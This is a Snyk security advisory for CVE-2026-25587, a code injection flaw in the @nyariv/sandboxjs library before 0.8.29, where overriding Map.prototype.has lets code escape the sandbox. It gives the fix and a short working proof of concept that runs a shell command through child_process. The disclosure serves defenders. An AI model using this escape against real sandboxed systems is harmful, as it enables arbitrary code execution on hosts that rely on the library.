Arbitrary Code Injection Affecting @nyariv/sandboxjs package, versions <0.8.29
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-NYARIVSANDBOXJS-15248292
- published8 Feb 2026
- disclosed5 Feb 2026
- creditArthur
Introduced: 5 Feb 2026
NewCVE-2026-25587 (opens in a new tab)How to fix?
Upgrade @nyariv/sandboxjs to version 0.8.29 or higher.
Overview
@nyariv/sandboxjs is a Javascript sandboxing library.
Affected versions of this package are vulnerable to Arbitrary Code Injection by overriding the Map.prototype.has() method. An attacker can execute arbitrary code on the underlying operating system because Map is included in SAFE_PROTOYPES.
Note: This is a remaining vulnerability that was not covered by the fix for CVE-2026-25142.
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();